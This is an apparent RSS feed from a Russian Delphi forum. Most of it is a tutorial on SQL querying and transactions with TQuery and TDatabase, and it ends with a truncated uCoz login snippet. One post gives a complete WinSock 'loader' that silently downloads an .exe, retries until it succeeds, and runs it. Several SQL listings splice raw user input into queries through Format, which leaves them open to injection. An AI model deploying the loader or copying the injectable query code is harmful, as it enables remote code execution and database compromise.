быть записан таким образом: &lt;p&gt; Query1.params[0].asString := &apos;900&apos;; &lt;p&gt; или так: &lt;p&gt; Query1.params[0].asString := edit1.text; &lt;p&gt; Если вместо номера индекса вы хотели бы использовать имя параметра, то воспользуйтесь методом ParamByName. Данный метод возвращает объект TParam с заданным именем. Например: &lt;p&gt; Query1.ParamByName(&apos;DEPT_NO&apos;).asInteger := 900; &lt;p&gt; В листинге 2 приведен полный код примера. &lt;br /&gt; Листинг 2 &lt;p&gt; procedure TForm1.BitBtn1Click(Sender: TObject); &lt;br /&gt; begin &lt;br /&gt; Query1.close; {Деактивируем запрос в качестве одной из мер предосторожности } &lt;br /&gt; if not Query1.prepared &lt;br /&gt; then &lt;br /&gt; Query1.prepare; {Убедимся что запрос подготовлен} &lt;br /&gt; {Берем значение, введенное пользователем и заменяем &lt;br /&gt; им параметр.} &lt;br /&gt; if edit1.text &lt;&gt; &apos;&apos; {Проверяем на предмет пустого ввода} &lt;br /&gt; then &lt;br /&gt; Query1.ParamByName(&apos;DEPT_NO&apos;).AsString := edit1.text &lt;br /&gt; else &lt;br /&gt; Begin &lt;br /&gt; Query1.ParamByName(&apos;DEPT_NO&apos;).AsInteger := 0; &lt;br /&gt; edit1.text := &apos;0&apos;; &lt;br /&gt; end; &lt;br /&gt; try {перехватчик ошибок} &lt;br /&gt; Query1.Open; {Выполняем запрос и открываем набор данных} &lt;br /&gt; except {секция обработки ошибок} &lt;br /&gt; On e : EDatabaseError do {e - новый дескриптор ошибки} messageDlg(e.message, &lt;br /&gt; mtError, &lt;br /&gt; [mbOK],0); {показываем свойство message объекта e} &lt;br /&gt; end; {окончание обработки ошибки} &lt;br /&gt; end; &lt;p&gt; Обратите внимание на процедуру, первым делом подготавливающую запрос. При вызове метода prepare, Delphi посылает SQL запрос на удаленный сервер. Сервер выполняет грамматический разбор и оптимизацию запроса. Преимущество такой подготовки запроса состоит в его предварительном разборе и оптимизации. Альтернативой здесь может служить подготовка сервером запроса при каждом его выполнении. Как только запрос подготовлен, подставляются необходимые новые параметры, и запрос выполняется. &lt;br /&gt; Источник данных &lt;br /&gt; В предыдущем примере пользователь мог ввести номер отдела, и после выполнения запроса отображался список сотрудников этого отдела. А как насчет использования таблицы DEPARTMENT, позволяющей пользователю легко перемещаться между пользователями и отделами? &lt;br /&gt; Примечание: Следующий пример использует TTable с именем Table1. Для Table1 имя базы данных IBLOCAL, имя таблицы - DEPARTMENT. DataSource2 TDatasource связан с Table1. Таблица также активна и отображает записи в TDBGrid. &lt;br /&gt; Способ подключения TQuery к TTable - через TDatasource. Есть два основных способа сделать это. Во-первых, разместить код в обработчике события TDatasource OnDataChange. Например, листинг 3 демонстрирует эту технику. &lt;br /&gt; Листинг 3 - Использования события OnDataChange для просмотра дочерних записей &lt;p&gt; procedure TForm1.DataSource2DataChange(Sender: TObject; Field: TField); &lt;br /&gt; begin &lt;br /&gt; Query1.Close; &lt;br /&gt; if not Query1.prepared &lt;br /&gt; then &lt;br /&gt; Query1.prepare; &lt;br /&gt; Query1.ParamByName(&apos;Dept_no&apos;).asInteger := Table1Dept_No.asInteger; &lt;br /&gt; try &lt;br /&gt; Query1.Open; &lt;br /&gt; except &lt;br /&gt; On e : EDatabaseError do &lt;br /&gt; messageDlg(e.message, mtError, [mbOK], 0); &lt;br /&gt; end; &lt;br /&gt; end; &lt;p&gt; Техника с использованием OnDataChange очень гибка, но есть еще легче способ подключения Query к таблице. Компонент TQuery имеет свойство Datasource. Определяя TDatasource для свойства Datasource, объект TQuery сравнивает имена параметров в SQL-запросе с именами полей в TDatasource. В случае общих имен, такие параметры заполняются автоматически. Это позволяет разработчику избежать написание кода, приведенного в листинге 3 (*** приведен выше ***). &lt;br /&gt; Фактически, техника использования Datasource не требует никакого дополнительного кодирования. Для подключения запроса к таблице DEPT_NO выполните действия, приведенные в листинге 4. &lt;br /&gt; Листинг 4 - Связывание TQuery c TTable через свойство Datasource &lt;br /&gt; Выберите у Query1 свойство SQL и введите: &lt;br /&gt; select * from EMPLOYEE &lt;br /&gt; where DEPT_NO = :dept_noВыберите свойство Datasource и назначьте источник данных, связанный с Table1 (Datasource2 в нашем примере) Выберите свойство Active и установите его в True &lt;br /&gt; Это все, если вы хотите создать такой тип отношений. Тем не менее, существуют некоторые ограничения на параметризованные запросы. Параметры ограничены значениями. К примеру, вы не можете использовать параметр с именем Column или Table. Для создания запроса, динамически изменяемого имя таблицы, вы могли бы использовать технику конкатенации строки. Другая техника заключается в использовании команды Format. &lt;br /&gt; Команда Format &lt;br /&gt; Команда Format заменяет параметры форматирования (%s, %d, %n и пр.) передаваемыми значениями. Например, &lt;p&gt; Format(&apos;Select * from %s&apos;, [&apos;EMPLOYEE&apos;]) &lt;p&gt; Результатом вышеприведенной команды будет &apos;Select * from EMPLOYEE&apos;. Функция буквально делает замену параметров форматирования значениями массива. При использовании нескольких параметров форматирования, замена происходит слева направо. Например, &lt;p&gt; tblName := &apos;EMPLOYEE&apos;; &lt;br /&gt; fldName := &apos;EMP_ID&apos;; &lt;br /&gt; fldValue := 3; &lt;br /&gt; Format(&apos;Select * from %s where %s=%d&apos;, [tblName, fldName, fldValue]) &lt;p&gt; Результатом команды форматирования будет &apos;Select * from EMPLOYEE where EMP_ID=3&apos;. Такая функциональность обеспечивает чрезвычайную гибкость при динамическом выполнении запроса. Пример, приведенный ниже в листинге 5, позволяет вывести в результатах поле salary. Для поля salary пользователь может задавать критерии. &lt;br /&gt; Листинг 5 - Использование команды Format для создания SQL-запроса &lt;p&gt; procedure TForm1.BitBtn1Click(Sender: TObject); &lt;br /&gt; var &lt;br /&gt; sqlString : string; {здесь хранится SQL-запрос} &lt;br /&gt; fmtStr1, &lt;br /&gt; fmtStr2 : string; {здесь хранится строка, передаваемая для форматирования} &lt;p&gt; begin &lt;br /&gt; { Создание каркаса запроса } &lt;br /&gt; sqlString := &apos;Select EMP_NO %s from employee where SALARY %s&apos;; &lt;p&gt; if showSalaryChkBox.checked {Если checkbox Salary отмечен} &lt;br /&gt; then &lt;br /&gt; fmtStr1 := &apos;, SALARY&apos; &lt;br /&gt; else &lt;br /&gt; fmtStr1 := &apos;&apos;; &lt;br /&gt; if salaryEdit.text &lt;&gt; &apos;&apos; { Если поле редактирования Salary не пустое } &lt;br /&gt; then &lt;br /&gt; fmtStr2 := salaryEdit.text &lt;br /&gt; else &lt;br /&gt; fmtStr2 := &apos;&gt;0&apos;; &lt;p&gt; Query1.Close; {Деактивируем запрос в качестве одной из мер предосторожности } &lt;br /&gt; Query1.SQL.Clear; {Стираем любой предыдущий запрос} &lt;br /&gt; Query1.SQL.Add(Format(sqlString,[fmtStr1, fmtStr2]));{Добавляем} &lt;br /&gt; {форматированную строку к свойству SQL} &lt;p&gt; try {перехватчик ошибок} &lt;br /&gt; Query1.Open; {Выполняем запрос и открываем набор данных} &lt;br /&gt; except {секция обработки ошибок} &lt;br /&gt; On e : EDatabaseError do {e - новый дескриптор ошибки} &lt;br /&gt; messageDlg(e.message, mtError,[mbOK],0); &lt;br /&gt; {показываем свойство message объекта e} &lt;br /&gt; end; {окончание обработки ошибки} &lt;br /&gt; end; &lt;p&gt; В этом примере мы используем методы Clear и Add свойства SQL. Поскольку &quot;подготовленный&quot; запрос использует ресурсы сервера, и нет никакой гарантии что новый запрос будет использовать те же таблицы и столбцы, Delphi, при каждом изменении свойства SQL, осуществляет операцию, обратную &quot;подготовке&quot; (unprepare). Если TQuery не был подготовлен (т.е. свойство Prepared установлено в False), Delphi автоматически подготавливает его при каждом выполнении. Поэтому в нашем случае, даже если бы был вызван метод Prepare, приложению от этого не будет никакой пользы. &lt;br /&gt; Open против ExecSQL &lt;br /&gt; В предыдущих примерах TQuerie выполняли Select-запросы. Delphi рассматривает результаты Select-запроса как набор данных, типа таблицы. Это просто один класс допустимых SQL-запросов. К примеру, команда Update обновляет содержимое записи, но не возвращает записи или какого-либо значения. Если вы хотите использовать запрос, не возвращающий набор данных, используйте ExecSQL вместо Open. ExecSQL передает запрос для выполнения на сервер. В общем случае, если вы ожидаете, что получите от запроса данные, то используйте Open. В противном случае допускается использование ExecSQL, хотя его использование с Select не будет конструктивным. Листинг 6 содержит код, поясняющий сказанное на примере. &lt;br /&gt; Листинг 6 &lt;p&gt; procedure TForm1.BitBtnClick(sender : TObject) &lt;br /&gt; begin &lt;br /&gt; Query1.Close; &lt;br /&gt; Query1.Clear; &lt;br /&gt; Query1.SQL.Add(&apos;Update SALARY from EMPLOYEE &apos; + &lt;br /&gt; &apos;where SALARY&lt;:salary values (SALARY*(1+:raise)&apos;); &lt;br /&gt; Query1.paramByName(&apos;salary&apos;).asString := edit1.text; &lt;br /&gt; Query1.paramByName(&apos;raise&apos;).asString := edit2.text; &lt;br /&gt; try &lt;br /&gt; Query1.ExecSQL; &lt;br /&gt; except &lt;br /&gt; On e : EDatabaseError do &lt;br /&gt; messageDlg(e.message, mtError, [mbOK], 0); &lt;br /&gt; end; &lt;br /&gt; end; &lt;p&gt; Все приведенные выше примеры предполагают использования в ваших приложениях запросов. Они могут дать солидное основание для того, чтобы начать использовать в ваших приложениях TQuery. Но все же нельзя прогнозировать конец использования SQL в ваших приложениях. Типичные серверы могут предложить вам другие характеристики, типа хранимых процедур и транзакций. В следующих двух секциях приведен краткий обзор этих средств. &lt;br /&gt; 3. Компонент TStoredProc &lt;p&gt; Хранимая процедура представляет собой список команд (SQL или определенного сервера), хранимых и выполняемых на стороне сервера. Хранимые процедуры не имеют концептуальных различий с другими типами процедур. TStoredProc наследуется от TDataset, поэтому он имеет много общих характеристик с TTable и TQuery. Особенно заметно сходство с TQuery. Поскольку хранимые процедуры не требуют возврата значений, те же правила действуют и для методов ExecProc и Open. Каждый сервер реализует работу хранимых процедур с небольшими различиями. Например, если в качестве сервера вы используете Interbase, хранимые процедуры выполняются в виде Select-запросов. Например, чтобы посмотреть на результаты хранимой процедуры, ORG_CHART, в демонстрационной базе данных EMPLOYEE, используйте следующих SQL-запрос: &lt;br /&gt; Select * from ORG_CHARTПри работе с другими серверами, например, Sybase, вы можете использовать компонент TStoredProc. Данный компонент имеет свойства для имен базы данных и хранимой процедуры. Если процедура требует на входе каких-то параметров, используйте для их ввода свойство Params. 4. TDatabase &lt;p&gt; Компонент TDatabase обеспечивает функциональность, которой не хватает TQuery и TStoredProc. В частности, TDatabase позволяет создавать локальные псевдонимы BDE, так что приложению не потребуются псевдонимы, содержащиеся в конфигурационном файле BDE. Этим локальным псевдонимом в приложении могут воспользоваться все имеющиеся TTable, TQuery и TStoredProc. TDatabase также позволяет разработчику настраивать процесс подключения, подавляя диалог ввода имени и пароля пользователя, или заполняя необходимые параметры. И, наконец, самое главное, TDatabase может обеспечивать единственную связь с базой данных, суммируя все операции с базой данных через один компонент. Это позволяет элементам управления для работы с БД иметь возможность управления транзакциями. &lt;br /&gt; Транзакцией можно считать передачу пакета информации. Классическим примером транзакции является передача денег на счет банка. Транзакция должна состоять из операции внесения суммы на новый счет и удаления той же суммы с текущего счета. Если один из этих шагов по какой-то причине был не выполнен, транзакция также считается невыполненной. В случае такой ошибки, SQL сервер позволяет выполнить команду отката (rollback), без внесения изменений в базу данных. Управление транзакциями зависит от компонента TDatabase. Поскольку транзакция обычно состоит из нескольких запросов, вы должны отметить начало транзакции и ее конец. Для выделения начала транзакции используйте TDatabase.BeginTransaction. Как только транзакция начнет выполняться, все выполняемые команды до вызова TDatabase.Commit или TDatabase.Rollback переводятся во временный режим. При вызове Commit все измененные данные передаются на сервер. При вызове Rollback все изменения теряют силу. Ниже в листинге 7 приведен пример, где используется таблица с именем ACCOUNTS. Показанная процедура пытается передать сумму с одного счета на другой. &lt;br /&gt; Листинг 7 &lt;p&gt; procedure TForm1.BitBtn1Click(Sender: TObject); &lt;br /&gt; { ПРИМЕЧАНИЕ: Поле BALANCE у ACCOUNTS имеет триггер, проверяющий &lt;br /&gt; ситуацию, когда вычитаемая сумма превышает BALANCE. Если так, UPDATE &lt;br /&gt; будет отменен} &lt;br /&gt; begin &lt;br /&gt; try &lt;br /&gt; database1.StartTransaction; &lt;br /&gt; query1.SQL.Clear; &lt;br /&gt; { Вычитаем сумму из выбранного счета } &lt;br /&gt; query1.SQL.Add(Format(&apos;update ACCOUNTS &apos; + &lt;br /&gt; &apos;set BALANCE = BALANCE - %s ) &apos; + &lt;br /&gt; &apos;where ACCT_NUM = %s &apos;, &lt;br /&gt; [edit1.text, &lt;br /&gt; Table1Acct_Num.asString])); &lt;br /&gt; query1.ExecSQL; &lt;br /&gt; query1.SQL.Clear; &lt;br /&gt; { Добавляем сумму к выбранному счету } &lt;br /&gt; query1.SQL.Add(Format(&apos;update ACCOUNTS &apos; + &lt;br /&gt; &apos;set BALANCE = BALANCE + %s &apos; + &lt;br /&gt; &apos;where ACCT_NUM = %s &apos;, &lt;br /&gt; [edit1.text, &lt;br /&gt; Table2Acct_Num.asString])); &lt;br /&gt; query1.ExecSQL; &lt;br /&gt; database1.Commit; {В этом месте делаем все изменения} &lt;br /&gt; table1.Refresh; &lt;br /&gt; table2.Refresh; &lt;br /&gt; except &lt;br /&gt; {При возникновении в приведенном коде любых ошибок, &lt;br /&gt; откатываем транзакцию назад} &lt;br /&gt; One : EDatabaseError do &lt;br /&gt; begin &lt;br /&gt; messageDlg(e.message, mtError, [mbOK], 0); &lt;br /&gt; database1.rollback; &lt;br /&gt; exit; &lt;br /&gt; end; &lt;br /&gt; One : Exception do &lt;br /&gt; begin &lt;br /&gt; messageDlg(e.message, mtError, [mbOK], 0); &lt;br /&gt; database1.rollback; &lt;br /&gt; exit; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; end; &lt;p&gt; И последнее, что нужно учесть при соединении с базой данных. В приведенном выше примере, TDatabase использовался в качестве единственного канала для связи с базой данных, поэтому было возможным выполнение только одной транзакции. Чтобы выполнить это, было определено имя псевдонима (Aliasname). Псевдоним хранит в себе информацию, касающуюся соединения, такую, как Driver Type (тип драйвера), Server Name (имя сервера), User Name (имя пользователя) и другую. Данная информация используется для создания строки соединения (connect string). Для создания псевдонима вы можете использовать утилиту конфигурирования BDE, или, как показано в примере ниже, заполнять параметры во время выполнения приложения. &lt;br /&gt; TDatabase имеет свойство Params, в котором хранится информация соединения. Каждая строка Params является отдельным параметром. В приведенном ниже примере пользователь устанавливает параметр User Name в поле редактирования Edit1, а параметр Password в поле Edit2. В коде листинга 8 показан процесс подключения к базе данных: &lt;br /&gt; Листинг 8 &lt;p&gt; procedure TForm1.Button1Click(Sender: TObject); &lt;br /&gt; begin &lt;br /&gt; try &lt;br /&gt; With database1 do &lt;br /&gt; begin &lt;br /&gt; Close; &lt;br /&gt; DriverName := &apos;INTRBASE&apos;; &lt;br /&gt; KeepConnection := TRUE; &lt;br /&gt; LoginPrompt := FALSE; &lt;br /&gt; With database1.Params do &lt;br /&gt; begin &lt;br /&gt; Clear; &lt;br /&gt; Add(&apos;SERVER NAME=C:IBLOCALEXAMPLESEMPLOYEE.GDB&apos;); &lt;br /&gt; Add(&apos;SCHEMA CACHE=8&apos;); &lt;br /&gt; Add(&apos;OPEN MODE=READ/WRITE&apos;); &lt;br /&gt; Add(&apos;SQLPASSTHRU MODE=SHARED NOAUTOCOMMIT&apos;); &lt;br /&gt; Add(&apos;USER NAME=&apos; + edit1.text); &lt;br /&gt; Add(&apos;PASSWORD=&apos; + edit2.text); &lt;br /&gt; end; &lt;br /&gt; Open; &lt;br /&gt; end; &lt;br /&gt; session.getTableNames(database1.databasename, &apos;*&apos;, &lt;br /&gt; TRUE, &lt;br /&gt; TRUE, &lt;br /&gt; ComboBox1.items); &lt;br /&gt; Except &lt;br /&gt; One : EDatabaseError do &lt;br /&gt; begin &lt;br /&gt; messageDlg(e.message, mtError, [mbOK], 0); &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; end; &lt;p&gt; Этот пример показывает как можно осуществить подключение к серверу без создания псевдонима. Ключевыми моментами здесь являются определение DriverName и заполнение Params информацией, необходимой для подключения. Вам не нужно определять все параметры, вам необходимо задать только те, которые не устанавливаются в конфигурации BDE определенным вами драйвером базы данных. Введенные в свойстве Params данные перекрывают все установки конфигурации BDE. Записывая параметры, Delphi заполняет оставшиеся параметры значениями из BDE Config для данного драйвера. Приведенный выше пример также вводит такие понятия, как сессия и метод GetTableNames. Это выходит за рамки обсуждаемой темы, достаточно упомянуть лишь тот факт, что переменная session является дескриптором database engine. В примере она добавлена только для &quot;показухи&quot;. &lt;br /&gt; Другой темой является использование SQLPASSTHRU MODE. Этот параметр базы данных отвечает за то, как натив-команды базы данных, такие, как TTable.Append или TTable.Insert будут взаимодействовать с TQuery, подключенной к той же базе данных. Существуют три возможных значения: NOT SHARED, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT. NOT SHARED означает, что натив-команды используют одно соединение с сервером, тогда как запросы - другое. Со стороны сервера это видится как работа двух разных пользователей. В любой момент времени, пока транзакция активна, натив-команды не будут исполняться (committed) до тех пор, пока транзакция не будет завершена. Если был выполнен TQuery, то любые изменения, переданные в базу данных, проходят отдельно от транзакции. &lt;br /&gt; Два других режима, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT, делают для натив-команд и запросов общим одно соединение с сервером. Различие между двумя режимами заключаются в передаче выполненной натив-команды на сервер. При выбранном режиме SHARED AUTOCOMMIT бессмысленно создавать транзакцию, использующую натив-команды для удаления записи и последующей попыткой осуществить откат (Rollback). Запись должна быть удалена, а изменения должны быть сделаны (committed) до вызова команды Rollback. Если вам нужно передать натив-команды в пределах транзакции, или включить эти команды в саму транзакцию, убедитесь в том, что SQLPASSTHRU MODE установлен в SHARED NOAUTOCOMMIT или в NOT SHARED. &lt;br /&gt; 5. Выводы &lt;p&gt; Delphi поддерживает множество характеристик при использовании языка SQL с вашими серверами баз данных. На этой ноте разрешите попрощаться и пожелать почаще использовать SQL в ваших приложениях.</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>CraftR15</dc:creator>
<guid>https://delfcode.ru/forum/22-311-1</guid>
</item>
<item>
<title>Лоадер файлов на WinSock</title>
<link>https://delfcode.ru/forum/22-312-1</link>
<pubDate>Sat, 17 Jul 2010 18:35:34 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Лоадер файлов на WinSock&lt;br /&gt;Автор темы: CraftR15&lt;br /&gt;Автор последнего сообщения: CraftR15&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program FileDown; &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt; Windows, Winsock, ShellApi; &lt;br /&gt;&lt;br /&gt; function GetIpFromDns(HostName: string&amp;#41;: string; &lt;br /&gt; type &lt;br /&gt; tAddr = array&amp;#91;0..100] of PInAddr; &lt;br /&gt; pAddr = ^tAddr; &lt;br /&gt; var &lt;br /&gt; I: Integer; &lt;br /&gt; WSA: TWSAData; &lt;br /&gt; PHE: PHostEnt; &lt;br /&gt; P: pAddr; &lt;br /&gt; begin &lt;br /&gt; Result := HostName; &lt;br /&gt; WSAStartUp($101, WSA&amp;#41;; &lt;br /&gt; try &lt;br /&gt; PHE := GetHostByName(pChar(HostName&amp;#41;&amp;#41;; &lt;br /&gt; if (PHE &lt;&gt; nil&amp;#41; then &lt;br /&gt; begin &lt;br /&gt; P := pAddr(PHE^.h_addr_list&amp;#41;; &lt;br /&gt; I := 0; &lt;br /&gt; while (P^&amp;#91;i] &lt;&gt; nil&amp;#41; do &lt;br /&gt; begin &lt;br /&gt; Result := (inet_nToa(P^&amp;#91;i]^&amp;#41;&amp;#41;; &lt;br /&gt; Inc(I&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; except &lt;br /&gt; end; &lt;br /&gt; WSACleanUp; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure GetFile(CompleteURL, SaveToDirectory: string; Puerto: Integer = 80&amp;#41;; &lt;br /&gt; var &lt;br /&gt; WSA: TWSAData; &lt;br /&gt; DownloaderSocket: TSocket; &lt;br /&gt; DownloaderAddr: TSockAddrIn; &lt;br /&gt; SendBuffer: string; &lt;br /&gt; SentBytes: Integer; &lt;br /&gt; ReceiveBuffer: array&amp;#91;0..4096] of Char; &lt;br /&gt; ReceivedBytes: Integer; &lt;br /&gt; WrittenBytes: Dword; &lt;br /&gt; HeaderPos: integer; &lt;br /&gt; Header: string; &lt;br /&gt; GotHeader: Boolean; &lt;br /&gt; DownloadedFile: THandle; &lt;br /&gt; DNS, RemoteFilePath, FileName: string; &lt;br /&gt; i: integer; &lt;br /&gt; begin &lt;br /&gt; SentBytes := 0; &lt;br /&gt; GotHeader := False; &lt;br /&gt; DNS := Copy(CompleteURL, Pos(&apos;http&amp;#58;//&apos;, CompleteURL&amp;#41; + 7, Length(CompleteURL&amp;#41;&amp;#41;; &lt;br /&gt; RemoteFilePath := Copy(DNS, Pos(&apos;/&apos;, DNS&amp;#41;, Length(DNS&amp;#41;&amp;#41;; &lt;br /&gt; DNS := Copy(DNS, 1, Pos(&apos;/&apos;, DNS&amp;#41; - 1&amp;#41;; &lt;br /&gt; i := Length(RemoteFilePath&amp;#41;; &lt;br /&gt; while (RemoteFilePath&amp;#91;i] &lt;&gt; &apos;/&apos;&amp;#41; do &lt;br /&gt; begin &lt;br /&gt; FileName := RemoteFilePath&amp;#91;i] + FileName; &lt;br /&gt; Dec(i&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; WSAStartup($101, WSA&amp;#41;; &lt;br /&gt; DownloaderSocket := Socket(AF_INET, SOCK_STREAM, 0&amp;#41;; &lt;br /&gt; DownloaderAddr.sin_family := AF_INET; &lt;br /&gt; if (Puerto &lt; 1&amp;#41; or (Puerto &gt; 65535&amp;#41; then Puerto := 80; &lt;br /&gt; DownloaderAddr.sin_port := htons(Puerto&amp;#41;; &lt;br /&gt; DownloaderAddr.sin_addr.S_addr := inet_addr(PChar(GetIPfromDNS(PChar(DNS&amp;#41;&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; repeat &lt;br /&gt; if Connect(DownloaderSocket, DownloaderAddr, sizeof(DownloaderAddr&amp;#41;&amp;#41; = 0 then &lt;br /&gt; begin &lt;br /&gt; SendBuffer := &apos;GET &apos; + RemoteFilePath + &apos; HTTP/1.1&apos; + #13#10 + &lt;br /&gt; &apos;Accept: */*&apos; + #13#10 + &lt;br /&gt; &apos;Accept-Language: en-us;q=0.5&apos; + #13#10 + &lt;br /&gt; &apos;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727&amp;#41;&apos; + #13#10 + &lt;br /&gt; &apos;Host: &apos; + DNS + #13#10 + &lt;br /&gt; &apos;Connection: close&apos; + #13#10#13#10; &lt;br /&gt; repeat &lt;br /&gt; SentBytes := Send(DownloaderSocket, SendBuffer&amp;#91;1 + SentBytes], Length(SendBuffer&amp;#41; - SentBytes, 0&amp;#41;; &lt;br /&gt; until SentBytes &gt;= Length(SendBuffer&amp;#41;; &lt;br /&gt; DownloadedFile := CreateFile(PChar(SaveToDirectory + FileName&amp;#41;, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0&amp;#41;; &lt;br /&gt; SetFilePointer(DownloadedFile, 0, nil, FILE_END&amp;#41;; &lt;br /&gt; repeat &lt;br /&gt; ZeroMemory(@ReceiveBuffer, Sizeof(ReceiveBuffer&amp;#41;&amp;#41;; &lt;br /&gt; ReceivedBytes := Recv(DownloaderSocket, ReceiveBuffer, Sizeof(ReceiveBuffer&amp;#41;, 0&amp;#41;; &lt;br /&gt; if ReceivedBytes &gt; 0 then &lt;br /&gt; begin &lt;br /&gt; case GotHeader of &lt;br /&gt; False: &lt;br /&gt; begin &lt;br /&gt; HeaderPos := Pos(#13#10#13#10, string(ReceiveBuffer&amp;#41;&amp;#41;; &lt;br /&gt; if HeaderPos &gt; 0 then &lt;br /&gt; begin &lt;br /&gt; WriteFile(DownloadedFile, ReceiveBuffer&amp;#91;HeaderPos + 3], ReceivedBytes - (HeaderPos + 3&amp;#41;, WrittenBytes, nil&amp;#41;; &lt;br /&gt; SetLength(Header, HeaderPos&amp;#41;; &lt;br /&gt; Move(ReceiveBuffer&amp;#91;0], Header&amp;#91;1], HeaderPos + 3&amp;#41;; &lt;br /&gt; GotHeader := True; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; else &lt;br /&gt; WriteFile(DownloadedFile, ReceiveBuffer, ReceivedBytes, WrittenBytes, nil&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; until (ReceivedBytes &lt;= 0&amp;#41;; &lt;br /&gt; CloseHandle(DownloadedFile&amp;#41;; &lt;br /&gt; CloseSocket(DownloaderSocket&amp;#41;; &lt;br /&gt; Break; &lt;br /&gt; end; &lt;br /&gt; Sleep(60000&amp;#41;; &lt;br /&gt; until False; &lt;br /&gt; WSACleanup(&amp;#41;; &lt;br /&gt;&lt;br /&gt; ShellExecute(GetForegroundWindow, &apos;open&apos;, PChar(SaveToDirectory + FileName&amp;#41;, &apos;&apos;, &apos;&apos;, SW_SHOWNORMAL&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; GetFile(&apos;www.unnamedhost.com/file.exe&apos;, &apos;c:&amp;#92;&apos;&amp;#41;; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>CraftR15</dc:creator>
<guid>https://delfcode.ru/forum/22-312-1</guid>
</item>
<item>
<title>Интересные функции, ваши наработки.</title>
<link>https://delfcode.ru/forum/22-226-1</link>
<pubDate>Wed, 05 May 2010 19:29:58 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: джав&lt;br /&gt;Автор темы: Jaw&lt;br /&gt;Автор последнего сообщения: opius&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>&lt;span style=&quot;font-size:10pt;&quot;&gt;&lt;b&gt;Авторизация на ucoz&lt;/b&gt;&lt;/span&gt; &lt;br /&gt; Компилятор: Delphi7 и выше. &lt;br /&gt; Автор: Jaw. &lt;p&gt; Авторизация на любом из сайтов созданых в системе ucoz при помощи локальной учтеной записи. &lt;br /&gt; В этом примере показана авторизация на сайте &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;https://delfcode.ru/&quot; title=&quot;https://delfcode.ru/&quot; rel=&quot;nofollow&quot;&gt;https://delfcode.ru/&lt;/a&gt; не составит труда переделать под любой другой сайт. &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; result,rdn,one,too,s: string; &lt;br /&gt; Info: TStringlist; &lt;br /&gt; CM&amp;nbsp;&amp;nbsp;: TidCookieManager; &lt;br /&gt; begin &lt;br /&gt; CM := TidCookieManager.Create(idHttp1&amp;#41;; &lt;br /&gt; idHttp1.AllowCookies := true; &lt;br /&gt; idHttp1.CookieManager := CM; &lt;br /&gt; result :=idhttp1.get(&apos;http&amp;#58;//delfcode.ru/&apos;&amp;#41;; &lt;br /&gt; rdn:=&apos;&apos;; &lt;br /&gt; one:=&apos;name=&quot;rnd&quot; value=&quot;&apos;; &lt;br /&gt; too:=&apos;&quot; /&gt;&lt;/form&gt;&lt;/TD&gt;&apos;; &lt;br /&gt; if Pos(one,result&amp;#41;&lt;&gt;0 then delete(result,1,Pos(one,result&amp;#41;-1&amp;#41;; &lt;br /&gt; rdn:=copy(result,Pos(one,result&amp;#41;+length(one&amp;#41;, Pos(too,result&amp;#41;-(Pos(one,result&amp;#41;+length(one&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt; if Pos(one,result&amp;#41;&lt;&gt;0 then &lt;br /&gt; delete(result,Pos(one,result&amp;#41;,Pos(too,result&amp;#41;-1&amp;#41;; &lt;br /&gt; edit1.text:=rdn; &lt;br /&gt; Info := TStringList.Create; 